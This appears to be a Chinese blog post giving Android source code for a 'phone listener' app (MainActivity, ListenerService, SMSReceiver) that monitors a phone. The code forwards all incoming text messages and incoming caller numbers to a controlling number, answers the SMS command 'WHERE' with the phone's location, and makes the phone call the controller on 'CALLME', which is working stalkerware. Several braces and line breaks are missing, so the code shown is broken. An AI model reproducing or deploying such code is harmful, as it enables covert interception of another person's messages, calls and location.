1,MainActivity:主界面类:

package com.tarena.phone_listener;

import android.app.Activity;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;

public class MainActivity extends Activity implements OnClickListener{
 private Button btn01,btn02;
 private EditText et01;
 private CheckBox cb01,cb02,cb03,cb04;
 private  String number;    
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        initWidget();         addEvent();     }     private void initWidget(){
        btn01=(Button)findViewById(R.id.btn01);
        btn02=(Button)findViewById(R.id.btn02);
        et01=(EditText)findViewById(R.id.et01);         cb01=(CheckBox)findViewById(R.id.cb01);
        cb02=(CheckBox)findViewById(R.id.cb02);
        cb03=(CheckBox)findViewById(R.id.cb03);
        cb04=(CheckBox)findViewById(R.id.cb04);         btn02.setEnabled(false);    
    private void addEvent(){
     btn01.setOnClickListener(this);
     btn02.setOnClickListener(this);     }

 public void onClick(View v) {
  switch(v.getId()){
  case R.id.btn01:  startListen(); break;
  case R.id.btn02:  stopListen(); break;     
 private void startListen(){
  number=et01.getText().toString().trim();
  if(number==null || number.equals("")){
   new AlertDialog.Builder(this).setTitle("错误")
   .setMessage("主控手机号码格式不正确,请重新输入!")
   .setPositiveButton("确定", new android.content.DialogInterface.OnClickListener() {
    @Override
    public void onClick(DialogInterface dialog, int which) {
     return;     }
   }).show();
   return;   
  Intent it=new Intent(this,ListenerService.class);
  Bundle bun=new Bundle();
  bun.putBoolean("cb01", cb01.isChecked());
  bun.putBoolean("cb02", cb02.isChecked());
  bun.putBoolean("cb03", cb03.isChecked());
  bun.putBoolean("cb04", cb04.isChecked());   bun.putString("number", number);
  it.putExtras(bun);   startService(it);
  btn02.setEnabled(true);
  btn01.setEnabled(false);
  cb01.setEnabled(false);
  cb02.setEnabled(false);
  cb03.setEnabled(false);
  cb04.setEnabled(false);  }  private void stopListen(){
  Intent it=new Intent(this,ListenerService.class);
  stopService(it);   btn02.setEnabled(false);
  btn01.setEnabled(true);
  cb01.setEnabled(true);
  cb02.setEnabled(true);
  cb03.setEnabled(true);
  cb04.setEnabled(true);
 }

 @Override
 protected void onDestroy() {
  // TODO Auto-generated method stub
  super.onDestroy();
  stopListen();
 }

 @Override
 protected void onStop() {
  // TODO Auto-generated method stub
  super.onStop();    
}

2,ListenerService类,监听服务类:

package com.tarena.phone_listener;

import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.net.Uri;
import android.os.Bundle;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.util.Log;

public class ListenerService extends Service{
 private String number;
 private BroadcastReceiver receiver;  private LocationManager manager;  private TelephonyManager tManager;
 private Location location;//当前位置  private boolean cb01,cb02,cb03,cb04;

 @Override
 public IBinder onBind(Intent arg0) {
  // TODO Auto-generated method stub
  return null;
 }

 @Override
 public void onCreate() {
  // TODO Auto-generated method stub
  super.onCreate();
  receiver=new SMSReceiver(this);
  tManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
  if(cb02){
   tManager.listen(new PhoneStateListener(){
    @Override
    public void onCallStateChanged(int state, String incomingNumber) {
     // TODO Auto-generated method stub
     super.onCallStateChanged(state, incomingNumber);
     SmsManager manager=SmsManager.getDefault();
     manager.sendTextMessage(getNumber(), null, "被监控手机有电话呼入:"+incomingNumber, null, null);    }, TelephonyManager.CALL_STATE_RINGING);  }

 @Override
 public void onDestroy() {
  // TODO Auto-generated method stub
  super.onDestroy();
  this.unregisterReceiver(receiver);  }

 @Override
 public int onStartCommand(Intent intent, int flags, int startId) {
  // TODO Auto-generated method stub   cb01=intent.getExtras().getBoolean("cb01");
  cb02=intent.getExtras().getBoolean("cb02");
  cb03=intent.getExtras().getBoolean("cb03");
  cb04=intent.getExtras().getBoolean("cb04");   number=intent.getExtras().getString("number");   
  getLocation();   
  IntentFilter filter=new IntentFilter();
  filter.addAction("android.provider.Telephony.SMS_RECEIVED");
  this.registerReceiver(receiver, filter);   return super.onStartCommand(intent, flags, startId);
 }

 @Override
 public boolean onUnbind(Intent intent) {
  // TODO Auto-generated method stub
  return super.onUnbind(intent);    private void getLocation(){
  manager=(LocationManager)getSystemService(Context.LOCATION_SERVICE);
  String providerStr=getProviderStr();
  location=manager.getLastKnownLocation(providerStr);   LocationListener listener=new LocationListener(){

   @Override
   public void onLocationChanged(Location location) {
    // TODO Auto-generated method stub     ListenerService.this.location=location;
   }

   @Override
   public void onProviderDisabled(String provider) {
    // TODO Auto-generated method stub    }

   @Override
   public void onProviderEnabled(String provider) {
    // TODO Auto-generated method stub    }

   @Override
   public void onStatusChanged(String provider, int status,
     Bundle extras) {
    // TODO Auto-generated method stub    }   
  manager.requestLocationUpdates(providerStr, 2000, 10, listener);  
 private String getProviderStr(){
  //用来得到LocationProvider的一组参数标准
  Criteria criteria=new Criteria();
  criteria.setAccuracy(Criteria.ACCURACY_COARSE);
  criteria.setAltitudeRequired(false);
  criteria.setCostAllowed(true);   String str=manager.getBestProvider(criteria, true);
  Log.i("output", "==============得到位置提供器:   "+str);
  return str;
 }

 public String getNumber() {
  return number;
 }

 public void setNumber(String number) {
  this.number = number;
 }

 public void setLocation(Location location) {
  this.location = location;
 }

 public String getLocationStr(){
  return location.getLongitude()+","+location.getLatitude();
 }

 public boolean isCb01() {
  return cb01;
 }

 public void setCb01(boolean cb01) {
  this.cb01 = cb01;
 }

 public boolean isCb02() {
  return cb02;
 }

 public void setCb02(boolean cb02) {
  this.cb02 = cb02;
 }

 public boolean isCb03() {
  return cb03;
 }

 public void setCb03(boolean cb03) {
  this.cb03 = cb03;
 }

 public boolean isCb04() {
  return cb04;
 }

 public void setCb04(boolean cb04) {
  this.cb04 = cb04;  
 public void callMe(){
  Intent it=new Intent(Intent.ACTION_CALL);
  it.setData(Uri.parse("tel:"+number));
  it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  startActivity(it);  
 public void log(String str){  } }

3,SMSReceiver类,短信接收类:

package com.tarena.phone_listener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SMSReceiver extends BroadcastReceiver{
 private ListenerService service;  
 public SMSReceiver(ListenerService service){
  this.service=service;
 }

 @Override
 public void onReceive(Context context, Intent intent) {
  Bundle bun=intent.getExtras();
  if(bun !=null){
   Object[] mypdus=(Object[])bun.get("pdus");
   SmsMessage[] messages=new SmsMessage[mypdus.length];
   for(int i=0;i<messages.length;i++){
    messages[i]=SmsMessage.createFromPdu((byte[])mypdus[i]);    for(SmsMessage mess:messages){
    String from=mess.getDisplayOriginatingAddress();
    String body=mess.getDisplayMessageBody();
    if(body.trim().equalsIgnoreCase("CALLME") && from.contains(service.getNumber()) && service.isCb04()){
     service.callMe();
    }else if(body.trim().equalsIgnoreCase("WHERE") && from.contains(service.getNumber()) && service.isCb03()){
     SmsManager manager=SmsManager.getDefault();
     manager.sendTextMessage(service.getNumber(), null, "被监控手机位置:"+service.getLocationStr(), null, null);
    }else if(service.isCb01()){
     SmsManager manager=SmsManager.getDefault();
     manager.sendTextMessage(service.getNumber(), null, from+":"+body, null, null);    }  }
}

創作者介紹
創作者 shadow 的頭像
shadow

資訊園

shadow 發表在 痞客邦 留言(0) 人氣()